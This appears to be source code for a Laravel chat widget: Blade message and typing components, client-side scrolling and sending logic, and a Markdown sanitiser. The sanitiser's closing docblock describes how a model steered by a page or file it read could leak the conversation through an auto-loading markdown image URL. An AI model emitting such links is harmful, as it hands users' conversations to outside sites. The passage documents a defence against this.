                throw new \InvalidArgumentException("Unknown status [{$status}] for <x-widget.chat.message>. Use one of: ".implode(', ', array_keys($statuses)).'.');
            }
            $assistant = $variant === 'assistant';
            $words = $name ? preg_split('/\s+/', trim($name)) : [];
            // The first and last word's first letters: Sam from Support is SS, Maya Chen MC.
            $initials ??= $words === [] ? null : mb_strtoupper(mb_substr($words[0], 0, 1).(count($words) > 1 ? mb_substr($words[count($words) - 1], 0, 1) : ''));
            $when = $time instanceof \DateTimeInterface
                ? \Illuminate\Support\Carbon::instance($time)->locale(app()->getLocale())->isoFormat('LT')
                : $time;
            $caret = "[&>:last-child]:after:bg-foreground/60 [&>:last-child]:after:ms-0.5 [&>:last-child]:after:inline-block [&>:last-child]:after:h-[1.1em] [&>:last-child]:after:w-[0.45em] [&>:last-child]:after:translate-y-[0.15em] [&>:last-child]:after:animate-pulse [&>:last-child]:after:rounded-[2px] [&>:last-child]:after:content-[''] motion-reduce:[&>:last-child]:after:animate-none "
                ."[&:not(:has(>*))]:after:bg-foreground/60 [&:not(:has(>*))]:after:ms-0.5 [&:not(:has(>*))]:after:inline-block [&:not(:has(>*))]:after:h-[1.1em] [&:not(:has(>*))]:after:w-[0.45em] [&:not(:has(>*))]:after:translate-y-[0.15em] [&:not(:has(>*))]:after:animate-pulse [&:not(:has(>*))]:after:rounded-[2px] [&:not(:has(>*))]:after:content-[''] motion-reduce:[&:not(:has(>*))]:after:animate-none";
            // The person's own message has no avatar; theirs does, when there's anything to show.
            $showAvatar = ! $mine && ($avatar || $initials);
            // Formatted text (paragraphs, lists, code) from your Markdown renderer, styled here so it reads well in either look.
            // Long code lines wrap rather than scroll: a scrolling block from Markdown can't be reached from the keyboard.
            $prose = '[&_a]:text-link [&_a]:underline [&_a]:underline-offset-2 [&_strong]:font-semibold [&_p+*]:mt-3 [&_ul+*]:mt-3 [&_ol+*]:mt-3 [&_pre+*]:mt-3 [&_ul]:list-disc [&_ul]:ps-5 [&_ol]:list-decimal [&_ol]:ps-5 [&_li+li]:mt-1 [&_pre]:bg-field [&_pre]:text-foreground [&_pre]:border-line [&_pre]:border [&_pre]:break-words [&_pre]:whitespace-pre-wrap [&_pre]:rounded-xl [&_pre]:p-4 [&_pre]:text-xs [&_pre]:leading-relaxed [&_code]:font-mono [&_:not(pre)>code]:bg-field [&_:not(pre)>code]:rounded-md [&_:not(pre)>code]:px-1.5 [&_:not(pre)>code]:py-0.5 [&_:not(pre)>code]:text-[0.875em]';
        @endphp
        
        {{-- aria-busy while streaming: screen readers read the reply out once it's whole, not word by word. --}}
        <div
            data-chat-message
            @if ($mine) data-mine @endif
            @if ($streaming) aria-busy="true" @endif
            {{ $attributes->class([
                'flex transition-[opacity,translate] duration-300 ease-out starting:translate-y-1.5 starting:opacity-0 motion-reduce:transition-none',
                'flex-row-reverse' => $mine,
                'gap-4' => $assistant && ! $mine && ! $compact,
                'gap-3' => (! $assistant || $mine) && ! $compact,
                'gap-2' => $compact,
            ]) }}
        >
            @if ($showAvatar)
                @if ($avatar)
                    <img src="{{ $avatar }}" alt="" @class(['bg-field shrink-0 rounded-full object-cover', $compact ? 'size-7' : 'size-8'])>
                @else
                    <span aria-hidden="true" @class([
                        'grid shrink-0 place-items-center rounded-full font-semibold',
                        'size-8 text-xs' => ! $compact,
                        'size-7 text-[0.6875rem]' => $compact,
                        'bg-primary-fill text-on-primary' => $assistant,
                        'bg-field text-foreground' => ! $assistant,
                    ])>{{ $initials }}</span>
                @endif
            @endif
        
            <div @class([
                'flex min-w-0 flex-col',
                'items-end' => $mine,
                'flex-1' => $assistant && ! $mine,
                'max-w-[85%]' => $mine || ! $assistant,
            ])>
                @if (! $mine && $name && ! $assistant)
                    <p class="text-foreground/70 mb-1 text-xs font-medium">{{ $name }}</p>
                @endif
        
                {{-- Who said it, for screen readers, as each message is read out on its own. --}}
                <span class="sr-only">{{ $mine ? 'You' : ($name ?? 'Reply') }}:</span>
        
                @if ($markdown !== null || $slot->isNotEmpty())
                    <div @class([
                        // A step smaller on phones, where a bubble is narrow; from sm up, the size of the page's own text.
                        'min-w-0 break-words text-sm',
                        'sm:text-base sm:[&_pre]:text-sm' => ! $compact,
                        $prose,
                        // Their reply in the assistant look: no bubble, the width of the conversation.
                        'pt-1 leading-6 sm:leading-7' => $assistant && ! $mine && ! $compact,
                        'pt-0.5 leading-6' => $assistant && ! $mine && $compact,
                        // Still being written: a caret at the end of the text, on its last paragraph when it has some.
                        $caret => $streaming,
                        'rounded-2xl px-4 py-2.5 leading-relaxed' => ($mine || ! $assistant) && ! $compact,
                        'rounded-2xl px-3 py-2 leading-normal' => ($mine || ! $assistant) && $compact,
                        'bg-field rounded-ee-md' => $mine && $assistant,
                        'bg-primary-fill text-on-primary rounded-ee-md [&_a]:text-on-primary [&_:not(pre)>code]:bg-on-primary/15' => $mine && ! $assistant,
                        'bg-field rounded-ss-md' => ! $mine && ! $assistant,
                    ])>@if ($markdown !== null){{-- Unescaped on purpose: ChatMarkdown built this HTML itself, from escaped text, with no HTML of the message's own. --}}{!! \App\View\Widget\ChatMarkdown::toHtml($markdown) !!}@else{{ $slot }}@endif</div>
                @endif
        
                @isset($attachments)
                    <div @class(['mt-2 flex flex-wrap gap-2', 'justify-end' => $mine])>{{ $attachments }}</div>
                @endisset
        
                @if ($when || ($mine && $status))
                    <p data-chat-meta @class(['text-foreground/70 mt-1 flex items-center gap-1 text-xs', 'text-error' => $status === 'failed'])>
                        @if ($time instanceof \DateTimeInterface)
                            <time data-chat-time datetime="{{ $time->format(DATE_ATOM) }}">{{ $when }}</time>
                        @elseif ($when)
                            <span>{{ $when }}</span>
                        @endif
                        @if ($mine && $status)
                            @if ($when)
                                <span aria-hidden="true">·</span>
                            @endif
                            {{-- data-chat-status: the script turns a message being sent into one that wasn't, with a way to retry. --}}
                            <span data-chat-status class="inline-flex items-center gap-1">
                                @if ($status === 'sending')
                                    <x-widget.icon name="clock" class="size-3.5" />
                                @elseif ($status === 'failed')
                                    <x-widget.icon name="circle-alert" class="size-3.5" />
                                @else
                                    <x-widget.icon name="check" :class="$status === 'read' ? 'text-primary size-3.5' : 'size-3.5'" />
                                @endif
                                <span>{{ $statuses[$status] }}</span>
                            </span>
                        @endif
                    </p>
                @endif
            </div>
        </div>
        
        resources/views/components/widget/chat/typing.blade.php Show
        typing.blade.php
        @aware([
            'compact' => false,
        ])
        
        @props([
            // Who's typing, read out by screen readers ("Sam is typing").
            'name' => null,
        ])
        
        {{-- Three dots that rise in turn, while the other side writes. Read out once, as it appears; put it after the last
             message, and take it away when their message arrives. --}}
        <div data-chat-typing role="status" {{ $attributes->class(['flex items-center gap-3']) }}>
            <span aria-hidden="true" @class(['bg-field flex items-center gap-1 rounded-2xl rounded-ss-md', $compact ? 'px-3 py-2.5' : 'px-3.5 py-3'])>
                @foreach (['[animation-delay:-0.3s]', '[animation-delay:-0.15s]', ''] as $delay)
                    <span class="bg-foreground/50 size-1.5 animate-bounce rounded-full motion-reduce:animate-none {{ $delay }}"></span>
                @endforeach
            </span>
            <span class="sr-only">{{ $name ? $name.' is typing' : 'Typing' }}</span>
        </div>
        
        resources/js/widget/chat/index.js Show
        index.js
        // Drives <x-widget.chat>. Keeps the reader's place when a message arrives below while they're scrolled up, and offers a
        // button down to it; loads older messages from history-url as the top of the list comes into view; and runs the
        // composer: Enter to send, a box that grows with its text, files as chips, and suggested prompts that fill it in.
        // Delegated from `document` where it can be; each chat's list is watched for size as it's met (a Livewire render keeps
        // the same elements, so the watching carries on).
        
        const CHAT = '[data-chat]';
        // How close to an end counts as being there, in pixels.
        const NEAR = 32;
        // How far from the top the older messages start loading, so they're usually there before the reader reaches it.
        const PRELOAD = 240;
        
        const scrollerOf = (chat) => chat.querySelector('[data-chat-scroll]');
        const logOf = (chat) => chat.querySelector('[data-chat-log]');
        const reducedMotion = () => window.matchMedia('(prefers-reduced-motion: reduce)').matches;
        
        // The list scrolls in a reversed column: scrollTop is 0 at the newest message and goes negative upwards.
        const atBottom = (scroller) => scroller.scrollTop > -NEAR;
        const nearTop = (scroller) => scroller.scrollHeight - scroller.clientHeight + scroller.scrollTop < PRELOAD;
        
        // --- Keeping the reader's place --------------------------------------------------------------------------------------
        
        // Per chat: where it was scrolled and how tall its messages were when last seen, and whether the next change in height
        // is older messages going in at the top (which moves nothing, being at the far end of the reversed column).
        const seen = new WeakMap();
        
        const resized = new ResizeObserver((entries) => {
            entries.forEach(({ target: log }) => {
                const chat = log.closest(CHAT);
                const scroller = chat && scrollerOf(chat);
                const state = chat && seen.get(chat);
                if (!state) {
                    return;
                }
                const grew = scroller.scrollHeight - state.height;
                // Something new below (a message, a reply streaming in) while the reader is up the list: the reversed column
                // would carry what they're reading up out of view, so move it back down by as much, and offer the way down.
                if (grew > 0 && !state.older && state.top <= -NEAR) {
                    scroller.scrollTop = state.top - grew;
                    chat.querySelector('[data-chat-latest]')?.removeAttribute('hidden');
                }
                state.older = false;
                state.top = scroller.scrollTop;
                state.height = scroller.scrollHeight;
            });
        });
        
        function watch(chat) {
            if (seen.has(chat)) {
                return;
            }
            const scroller = scrollerOf(chat);
            seen.set(chat, { top: scroller.scrollTop, height: scroller.scrollHeight, older: false });
            resized.observe(logOf(chat));
        }
        
        // The server writes each time in its own timezone; shown again here in the reader's, in the page's language. Marked
        // once done, so a Livewire render (which puts back the server's) is redone and nothing else twice.
        const clock = new Intl.DateTimeFormat(document.documentElement.lang || undefined, { timeStyle: 'short' });
        function localTimes(root) {
            root.querySelectorAll('time[data-chat-time]:not([data-chat-local])').forEach((time) => {
                const at = new Date(time.dateTime);
                if (!Number.isNaN(at.getTime())) {
                    time.textContent = clock.format(at);
                    time.setAttribute('data-chat-local', '');
                }
            });
        }
        
        const watchAll = () => document.querySelectorAll(CHAT).forEach((chat) => {
            watch(chat);
            localTimes(chat);
        });
        watchAll();
        document.addEventListener('DOMContentLoaded', watchAll);
        // A page brought in by wire:navigate, or a chat a Livewire render added.
        document.addEventListener('livewire:navigated', watchAll);
        const hook = (Livewire) => {
            Livewire.hook('morphed', watchAll);
            // A message sent with wire:submit has arrived (or failed): the composer can send again.
            Livewire.hook('commit', ({ succeed, fail }) => {
                const done = () => document.querySelectorAll('[data-chat-composer][data-chat-sending]').forEach(sent);
                succeed(done);
                fail(done);
            });
        };
        // Back to a page kept in the browser's cache, after it was left by sending: it can send again.
        window.addEventListener('pageshow', () => document.querySelectorAll('[data-chat-composer][data-chat-sending]').forEach(sent));
        if (window.Livewire) {
            hook(window.Livewire);
        } else {
            document.addEventListener('livewire:init', () => hook(window.Livewire));
        }
        
        document.addEventListener('scroll', (event) => {
            const scroller = event.target instanceof Element && event.target.matches('[data-chat-scroll]') ? event.target : null;
            const chat = scroller?.closest(CHAT);
            if (!chat) {
                return;
            }
            watch(chat);
            seen.get(chat).top = scroller.scrollTop;
            if (atBottom(scroller)) {
                chat.querySelector('[data-chat-latest]')?.setAttribute('hidden', '');
            }
            if (nearTop(scroller)) {
                loadOlder(chat);
            }
        }, true);
        
        function toLatest(chat) {
            scrollerOf(chat).scrollTo({ top: 0, behavior: reducedMotion() ? 'instant' : 'smooth' });
            chat.querySelector('[data-chat-latest]')?.setAttribute('hidden', '');
        }
        
        // --- Older messages ---------------------------------------------------------------------------------------------------
        
        const loading = new WeakSet();
        
        async function loadOlder(chat) {
            const button = chat.querySelector('[data-chat-older]');
            if (!button || !chat.dataset.chatHistory || loading.has(chat)) {
                return;
            }
            // Only its words change: the spinner beside them stays.
            const label = button.querySelector('[data-chat-older-label]') ?? button;
            // Only this site's HTML goes into the page, as with the table's and the tree's: another site's could carry script.
            let url = null;
            try {
                url = new URL(chat.dataset.chatHistory, window.location.href);
            } catch {
                // Left null: refused below.
            }
            if (url?.origin !== window.location.origin) {
                console.warn('Bladewell chat: history-url must be a URL on this site:', chat.dataset.chatHistory);
                label.textContent = "Couldn't load older messages";
        
                return;
            }
        
            watch(chat);
            loading.add(chat);
            const log = logOf(chat);
            button.toggleAttribute('data-busy', true);
            label.textContent = 'Loading older messages…';
            log.setAttribute('aria-busy', 'true');
            try {
                const response = await fetch(url, { headers: { Accept: 'text/html' }, credentials: 'same-origin' });
                // A redirect (to a login page, say) brings back a page, not messages.
                if (!response.ok || response.redirected) {
                    throw new Error(`${response.status}`);
                }
                const html = (await response.text()).replace(/<style\b[^>]*>[\s\S]*?<\/style>/gi, '');
                // They come back in a chat of their own: its messages go in at the top, and its history-url is where the ones
                // before them are. No history-url: these were the first.
                const answer = new DOMParser().parseFromString(html, 'text/html').querySelector(CHAT);
                const older = [...(answer?.querySelector('[data-chat-log]')?.children ?? [])];
                seen.get(chat).older = true;
                log.prepend(...older.map((node) => document.adoptNode(node)));
                localTimes(log);
                if (answer?.dataset.chatHistory) {
                    chat.dataset.chatHistory = answer.dataset.chatHistory;
                    label.textContent = 'Load older messages';
                } else {
                    delete chat.dataset.chatHistory;
                    button.parentElement.remove();
                }
            } catch {
                label.textContent = "Couldn't load older messages. Try again";
            } finally {
                button.removeAttribute('data-busy');
                log.removeAttribute('aria-busy');
                loading.delete(chat);
            }
        }
        
        // --- The composer ------------------------------------------------------------------------------------------------------
        
        const inputOf = (form) => form.querySelector('[data-chat-input]');
        const filesOf = (form) => form.querySelector('[data-chat-files]');
        
        // field-sizing: content grows the box in browsers that have it; elsewhere, size it to its text here.
        const grows = CSS.supports('field-sizing', 'content');
        function fit(input) {
            if (!grows) {
                input.style.height = 'auto';
                input.style.height = `${input.scrollHeight}px`;
            }
        }
        
        document.addEventListener('input', (event) => {
            if (event.target.matches?.('[data-chat-input]')) {
                fit(event.target);
            }
        });
        
        // Enter sends, Shift+Enter is a new line. Not while an input method is composing a character (Japanese, Chinese…):
        // Safari reports the Enter that confirms one as not composing, but with keyCode 229. And not on a touch screen, where
        // Enter is how a new line is typed and the button sends.
        document.addEventListener('keydown', (event) => {
            if (event.key !== 'Enter' || event.shiftKey || event.isComposing || event.keyCode === 229 || !event.target.matches?.('[data-chat-input]')) {
                return;
            }
            if (window.matchMedia('(pointer: coarse)').matches) {
                return;
            }
            event.preventDefault();
            event.target.closest('form')?.requestSubmit();
        });
        
        // Nothing to send (no text, no files), or a message already on its way (Enter twice, a double click): stopped before
        // wire:submit or the browser sees it. On its way until the page goes (a plain form), the Livewire request that sent it
        // is answered, or, failing both, a few seconds pass.
        const SENDING_FOR = 8000;
        
        function sent(form) {
            form.removeAttribute('data-chat-sending');
        }
        
        document.addEventListener('submit', (event) => {
            const form = event.target.closest?.('[data-chat-composer]');
            if (!form) {
                return;
            }
            const input = inputOf(form);
            const empty = input && input.value.trim() === '' && !(filesOf(form)?.files.length > 0);
            if (empty || form.hasAttribute('data-chat-sending')) {
                event.preventDefault();
                event.stopPropagation();
                input?.focus();
        
                return;
            }
            const chat = form.closest(CHAT);
            // async: sent from here, and the page stays. The box empties at once, so a second Enter has nothing to send twice.
            if (chat && sendsHere(form)) {
                event.preventDefault();
                event.stopPropagation();
                sendNow(form, chat);
        
                return;
            }
            form.setAttribute('data-chat-sending', '');
            setTimeout(() => sent(form), SENDING_FOR);
            if (chat) {
                toLatest(chat);
            }
        }, true);
        
        // Files chosen with the paperclip, shown above the text as chips, each with a button that takes it off again.
        const plainName = (name) => name.replace(/[\u200E\u200F\u202A-\u202E\u2066-\u2069]/g, '');
        
        const sizeText = (bytes) => {
            const units = ['B', 'KB', 'MB', 'GB'];
            const power = bytes > 0 ? Math.min(Math.floor(Math.log(bytes) / Math.log(1024)), units.length - 1) : 0;
            const amount = bytes / 1024 ** power;
            const digits = power === 0 || amount >= 10 ? 0 : 1;
        
            return `${new Intl.NumberFormat(document.documentElement.lang || undefined, { maximumFractionDigits: digits }).format(amount)} ${units[power]}`;
        };
        
        // What the paperclip has picked so far, per file input. A browser's file picker replaces the input's files each time it's
        // used, so each pick is added to these instead, and the input given the lot. A file picked twice is only added once.
        const chosen = new WeakMap();
        const sameFile = (a, b) => a.name === b.name && a.size === b.size && a.lastModified === b.lastModified;
        
        function setFiles(input, files) {
            const list = new DataTransfer();
            files.forEach((file) => list.items.add(file));
            input.files = list.files;
            chosen.set(input, files);
        }
        
        // An image's chip shows the image, read straight from the file (a blob: URL, which a strict CSP's img-src must allow),
        // and lets the URL go when the image is taken off.
        const previews = new WeakMap();
        const previewOf = (file) => previews.get(file) ?? previews.set(file, URL.createObjectURL(file)).get(file);
        function forgetPreview(file) {
            if (previews.has(file)) {
                URL.revokeObjectURL(previews.get(file));
                previews.delete(file);
            }
        }
        
        function drawChips(form) {
            const list = form.querySelector('[data-chat-chips]');
            const files = filesOf(form);
            if (!list || !files) {
                return;
            }
            list.replaceChildren(...[...files.files].map((file, index) => {
                const image = file.type.startsWith('image/');
                const chip = document.createElement('li');
                chip.className = `bg-field flex max-w-56 items-center gap-2 rounded-lg py-1 pe-1 text-xs ${image ? 'ps-1' : 'ps-2.5'}`;
                if (image) {
                    // Its name is beside it, so the picture adds nothing to read out.
                    chip.append(Object.assign(document.createElement('img'), { src: previewOf(file), alt: '', className: 'bg-surface size-8 shrink-0 rounded-md object-cover' }));
                }
                // Without direction controls, which can make a name read as something else ("invoice‮fdp.exe" as
                // "invoiceexe.pdf"), and in <bdi>, so it can't reorder the size beside it either.
                const name = Object.assign(document.createElement('bdi'), { className: 'min-w-0 truncate font-medium', textContent: plainName(file.name) });
                const size = Object.assign(document.createElement('span'), { className: 'text-foreground/70 shrink-0', textContent: sizeText(file.size) });
                const remove = Object.assign(document.createElement('button'), {
                    type: 'button',
                    className: 'text-foreground/70 hover:bg-line hover:text-foreground focus-visible:ring-primary grid size-6 shrink-0 place-items-center rounded-md text-base leading-none outline-none focus-visible:ring-2',
                    textContent: '×',
                });
                remove.setAttribute('aria-label', `Remove ${plainName(file.name)}`);
                remove.dataset.chatRemove = String(index);
                chip.append(name, size, remove);
        
                return chip;
            }));
        }
        
        function addFiles(input, files) {
            const before = chosen.get(input) ?? [];
            setFiles(input, [...before, ...files.filter((file) => !before.some((old) => sameFile(old, file)))]);
            drawChips(input.closest('form'));
        }
        
        document.addEventListener('change', (event) => {
            const input = event.target.matches?.('[data-chat-files]') ? event.target : null;
            if (input) {
                addFiles(input, [...input.files]);
            }
        });
        
        // Files pasted into the box (a screenshot) or dropped on the composer join the paperclip's. The picker only offers what
        // its accept takes; these never went through it, so they're held to the same list here. Your Form Request still checks.
        function accepts(input, file) {
            const rules = (input.getAttribute('accept') ?? '').split(',').map((rule) => rule.trim().toLowerCase()).filter(Boolean);
            const type = file.type.toLowerCase();
        
            return rules.length === 0 || rules.some((rule) => {
                if (rule.startsWith('.')) {
                    return file.name.toLowerCase().endsWith(rule);
                }
        
                return rule.endsWith('/*') ? type.startsWith(rule.slice(0, -1)) : type === rule;
            });
        }
        
        const filesInto = (form, files) => {
            const input = form && filesOf(form);
            if (input) {
                addFiles(input, files.filter((file) => accepts(input, file)));
            }
        };
        
        document.addEventListener('paste', (event) => {
            const form = event.target.closest?.('[data-chat-composer]');
            const files = [...(event.clipboardData?.files ?? [])];
            if (form && filesOf(form) && files.length > 0) {
                // The file itself, not its name pasted in as text as well.
                event.preventDefault();
                filesInto(form, files);
            }
        });
        
        // A file dragged over the composer lights it up (data-dragging); let go there, it's added.
        const draggingFiles = (event) => [...(event.dataTransfer?.types ?? [])].includes('Files');
        document.addEventListener('dragover', (event) => {
            const form = event.target.closest?.('[data-chat-composer]');
            if (form && filesOf(form) && draggingFiles(event)) {
                event.preventDefault();
                form.setAttribute('data-dragging', '');
            }
        });
        document.addEventListener('dragleave', (event) => {
            const form = event.target.closest?.('[data-chat-composer]');
            if (form && !form.contains(event.relatedTarget)) {
                form.removeAttribute('data-dragging');
            }
        });
        document.addEventListener('drop', (event) => {
            const form = event.target.closest?.('[data-chat-composer]');
            if (form && filesOf(form) && event.dataTransfer?.files.length > 0) {
                event.preventDefault();
                form.removeAttribute('data-dragging');
                filesInto(form, [...event.dataTransfer.files]);
            }
        });
        
        // A form put back as it was (form.reset(), or after it's sent with Livewire) has no files: neither has the list.
        document.addEventListener('reset', (event) => {
            const input = event.target.querySelector?.('[data-chat-files]');
            if (input) {
                (chosen.get(input) ?? []).forEach(forgetPreview);
                chosen.delete(input);
                // After the reset has cleared the input itself.
                setTimeout(() => drawChips(event.target));
            }
        });
        
        document.addEventListener('click', (event) => {
            if (!(event.target instanceof Element)) {
                return;
            }
            const remove = event.target.closest('[data-chat-remove]');
            if (remove) {
                // A file input's list can't be edited, only replaced: everything but the one taken off.
                const form = remove.closest('form');
                const input = filesOf(form);
                const files = chosen.get(input) ?? [...input.files];
                const gone = Number(remove.dataset.chatRemove);
                forgetPreview(files[gone]);
                setFiles(input, files.filter((_, index) => index !== gone));
                drawChips(form);
                (form.querySelector('[data-chat-remove]') ?? inputOf(form))?.focus();
        
                return;
            }
        
            const chat = event.target.closest(CHAT);
            if (!chat) {
                return;
            }
            if (event.target.closest('[data-chat-older]')) {
                loadOlder(chat);
            } else if (event.target.closest('[data-chat-latest]')) {
                toLatest(chat);
                inputOf(chat)?.focus({ preventScroll: true });
            } else {
                // A suggested prompt: into the box, ready to send or change.
                const prompt = event.target.closest('[data-chat-prompt]');
                const input = prompt && inputOf(chat);
                if (input) {
                    input.value = prompt.dataset.chatPrompt || prompt.textContent.trim();
                    input.dispatchEvent(new Event('input', { bubbles: true }));
                    input.focus();
                    input.setSelectionRange(input.value.length, input.value.length);
                }
            }
        });
        
        // --- Sending without leaving the page (async) -------------------------------------------------------------------------
        
        // The composer posts in the background when it has async, isn't Livewire's (wire:submit sends then), and posts to this
        // site: what comes back goes into the page, so it must be this site's own HTML.
        function sendsHere(form) {
            if (!form.hasAttribute('data-chat-async') || [...form.attributes].some((attribute) => attribute.name.startsWith('wire:submit'))) {
                return false;
            }
            try {
                return new URL(form.action, window.location.href).origin === window.location.origin;
            } catch {
                return false;
            }
        }
        
        const cloneOf = (chat, name) => chat.querySelector(`template[data-chat-${name}]`)?.content.firstElementChild?.cloneNode(true) ?? null;
        // Each message on its way: what to send again on Retry, and the files' object URLs to let go once it's in.
        const outgoing = new WeakMap();
        
        // The message as it will look, shown at once: the text, the files (an image as itself, read from the file), Sending.
        function outgoingBubble(chat, text, files) {
            const bubble = cloneOf(chat, 'outgoing');
            const slot = bubble.querySelector('[data-chat-outgoing-text]');
            if (text.trim() === '') {
                slot.parentElement.remove();
            } else {
                slot.textContent = text;
            }
            const urls = [];
            if (files.length > 0) {
                const cards = document.createElement('div');
                cards.className = 'mt-2 flex flex-wrap justify-end gap-2';
                files.forEach((file) => {
                    const image = file.type.startsWith('image/');
                    const card = cloneOf(chat, image ? 'outgoing-image' : 'outgoing-file');
                    const url = URL.createObjectURL(file);
                    urls.push(url);
                    card.href = url;
                    if (image) {
                        Object.assign(card.querySelector('img'), { src: url, alt: plainName(file.name) });
                    } else {
                        card.querySelector('bdi').textContent = plainName(file.name);
                        card.querySelector('bdi + span').textContent = sizeText(file.size);
                    }
                    cards.append(card);
                });
                bubble.querySelector('[data-chat-meta]').before(cards);
            }
        
            return [bubble, urls];
        }
        
        function sendNow(form, chat) {
            const input = inputOf(form);
            const files = filesOf(form);
            const text = input?.value ?? '';
            const picked = files ? [...files.files] : [];
            // Taken before the box and the files are cleared: text, files, CSRF token and any _method, as the form would send.
            const data = new FormData(form);
            // No file picked: a form still sends an empty one, which a file rule turns away. Left out instead.
            if (files && picked.length === 0) {
                data.delete(files.name);
            }
            const [bubble, urls] = outgoingBubble(chat, text, picked);
            // Above anyone still typing, which stays last, as it would in their own chat.
            const typing = logOf(chat).querySelector(':scope > [data-chat-typing]');
            if (typing) {
                typing.before(bubble);
            } else {
                logOf(chat).append(bubble);
            }
            outgoing.set(bubble, { form, chat, data, text, picked, urls });
        
            if (input) {
                input.value = '';
                fit(input);
                clearError(form);
            }
            if (files) {
                (chosen.get(files) ?? []).forEach(forgetPreview);
                setFiles(files, []);
                drawChips(form);
            }
            toLatest(chat);
            deliver(bubble);
        }
        
        function clearError(form) {
            const input = inputOf(form);
            form.querySelector(`#${CSS.escape(input.id)}-error`)?.remove();
            input.removeAttribute('aria-invalid');
            input.removeAttribute('aria-describedby');
        }
        
        function showError(form, message) {
            const input = inputOf(form);
            clearError(form);
            const note = Object.assign(document.createElement('p'), { id: `${input.id}-error`, className: 'text-error mx-auto mt-2 max-w-3xl px-1 text-sm', textContent: message });
            form.append(note);
            input.setAttribute('aria-invalid', 'true');
            input.setAttribute('aria-describedby', note.id);
        }
        
        // A message's status, from one of the chat's templates: delivered (Sent) or failed (Not sent, Retry).
        function statusFrom(chat, bubble, name) {
            const template = chat.querySelector(`template[data-chat-${name}]`);
            if (template) {
                bubble.querySelector('[data-chat-status]')?.replaceChildren(template.content.cloneNode(true));
            }
        }
        
        async function deliver(bubble) {
            const { form, chat, data, text, picked, urls } = outgoing.get(bubble);
            bubble.setAttribute('data-chat-delivering', '');
            try {
                // X-Requested-With: Laravel answers a failed validation with 422 and the errors, not a redirect. The chat's look
                // goes along, so a route serving more than one can answer in the right one.
                const headers = { Accept: '*/*', 'X-Requested-With': 'XMLHttpRequest', 'X-Chat-Variant': chat.dataset.variant ?? 'assistant' };
                if (chat.hasAttribute('data-chat-compact')) {
                    headers['X-Chat-Compact'] = '1';
                }
                // Text alone goes as a plain form body, as the browser would send it; files need multipart.
                const body = picked.length > 0 ? data : new URLSearchParams(data);
                const response = await fetch(form.action, { method: 'POST', body, headers, credentials: 'same-origin' });
        
                // Turned away (too long, a file too big): the message goes back into the box, with why.
                if (response.status === 422) {
                    const answer = await response.json().catch(() => ({}));
                    bubble.remove();
                    urls.forEach((url) => URL.revokeObjectURL(url));
                    const input = inputOf(form);
                    if (input && input.value.trim() === '') {
                        input.value = text;
                        fit(input);
                    }
                    const files = filesOf(form);
                    if (files && picked.length > 0) {
                        addFiles(files, picked);
                    }
                    showError(form, Object.values(answer.errors ?? {}).flat()[0] ?? answer.message ?? "Your message couldn't be sent.");
                    input?.focus();
        
                    return;
                }
                // A redirect (to a login page, say) brings back a page, not the message.
                if (!response.ok || response.redirected) {
                    throw new Error(`${response.status}`);
                }
        
                // In: the server's own copy takes its place (Sent, the real time), with anything that came back with it, such as
                // a reply. Nothing back: it just says Sent.
                const html = (await response.text()).replace(/<style\b[^>]*>[\s\S]*?<\/style>/gi, '');
                const answer = new DOMParser().parseFromString(html, 'text/html').querySelector(CHAT);
                const messages = [...(answer?.querySelector('[data-chat-log]')?.children ?? [])];
                if (messages.length > 0) {
                    bubble.replaceWith(...messages.map((node) => document.adoptNode(node)));
                    localTimes(logOf(chat));
                    urls.forEach((url) => URL.revokeObjectURL(url));
                } else {
                    statusFrom(chat, bubble, 'delivered');
                }
                outgoing.delete(bubble);
            } catch {
                // Not sent (offline, the server failed): it stays, saying so, with Retry.
                const meta = bubble.querySelector('[data-chat-meta]');
                meta?.classList.add('text-error');
                statusFrom(chat, bubble, 'failed');
            } finally {
                bubble.removeAttribute('data-chat-delivering');
            }
        }
        
        document.addEventListener('click', (event) => {
            const retry = event.target instanceof Element ? event.target.closest('[data-chat-retry]') : null;
            const bubble = retry?.closest('[data-chat-message]');
            if (!bubble || !outgoing.has(bubble) || bubble.hasAttribute('data-chat-delivering')) {
                return;
            }
            const { chat } = outgoing.get(bubble);
            bubble.querySelector('[data-chat-meta]')?.classList.remove('text-error');
            bubble.querySelector('[data-chat-status]')?.replaceChildren(...cloneOf(chat, 'outgoing').querySelector('[data-chat-status]').childNodes);
            deliver(bubble);
        });
        
        app/View/Widget/ElementIds.php Show
        ElementIds.php
        <?php
        
        declare(strict_types=1);
        
        namespace App\View\Widget;
        
        use Illuminate\Container\Attributes\Scoped;
        use LogicException;
        
        /**
         * Keeps element ids unique within one response, so labels, aria-describedby and #fragments
         * always point at the right element. Scoped: a fresh set per request (and per Octane/queue cycle).
         */
        #[Scoped]
        final class ElementIds
        {
            /** @var array<string, true> */
            private array $used = [];
        
            /**
             * Reserves an id for this response.
             *
             * A derived id (built from a field name) gets a -2, -3 … suffix when already taken. An explicit
             * id is one the caller chose and may reference from JS or CSS, so silently renaming it would
             * break that reference; a duplicate throws instead, which surfaces in development and tests.
             */
            public function claim(string $id, bool $explicit = false): string
            {
                if (! isset($this->used[$id])) {
                    return $this->reserve($id);
                }
        
                if ($explicit) {
                    throw new LogicException("Duplicate element id [{$id}] on this page. Give one of the widgets a different id or name.");
                }
        
                $suffix = 2;
                while (isset($this->used["{$id}-{$suffix}"])) {
                    $suffix++;
                }
        
                return $this->reserve("{$id}-{$suffix}");
            }
        
            private function reserve(string $id): string
            {
                $this->used[$id] = true;
        
                return $id;
            }
        }
        
        app/View/Widget/ChatMarkdown.php Show
        ChatMarkdown.php
        <?php
        
        declare(strict_types=1);
        
        namespace App\View\Widget;
        
        use League\CommonMark\Environment\Environment;
        use League\CommonMark\Event\DocumentParsedEvent;
        use League\CommonMark\Extension\Autolink\AutolinkExtension;
        use League\CommonMark\Extension\CommonMark\CommonMarkCoreExtension;
        use League\CommonMark\Extension\CommonMark\Node\Inline\Image;
        use League\CommonMark\Extension\ExternalLink\ExternalLinkExtension;
        use League\CommonMark\Extension\Strikethrough\StrikethroughExtension;
        use League\CommonMark\MarkdownConverter;
        
        /**
         * Markdown from someone you can't trust, such as a model, as HTML <x-widget.chat.message> can show. What a model writes
         * can be steered by a page or file it read, so:
         * - HTML in the text is dropped, and javascript:, vbscript:, file: and data: links lose their link.
         * - Images keep only their description: a reply can't make the browser load anything, which is how a steered model
         *   would send the conversation to another site (![](https://example.com/?data=…) loads with no click).
         * - Links to other sites open in a new tab, with rel="nofollow noopener noreferrer".
         * Without league/commonmark (every Laravel app has it, through laravel/framework), the text is shown as it is, escaped.
         */
        final class ChatMarkdown
        {
